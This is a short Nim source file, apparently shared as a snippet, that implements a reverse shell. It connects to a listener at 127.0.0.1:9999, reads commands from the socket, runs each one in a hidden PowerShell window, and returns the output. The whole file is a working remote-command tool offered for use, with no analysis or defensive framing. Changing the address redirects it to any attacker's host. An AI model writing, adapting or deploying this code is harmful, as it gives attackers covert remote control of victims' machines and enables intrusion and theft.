A simple reverse shell written in Nim

nimrs.nim

import net
import osproc
import strformat

# Create Socket
let port = 9999
let address = "127.0.0.1"
let sock = newSocket()

# Connect to listener
sock.connect(address, Port(port))

#Create Prompt
let prompt = "PS> "
while true:
    # Send prompt
    send(sock, prompt)

    # Receive Data
    # Run command
    let cmd = recvLine(sock)
    let output = 
        execProcess(fmt"powershell.exe -nop -w hidden -c '{cmd}'")
    send(sock, output)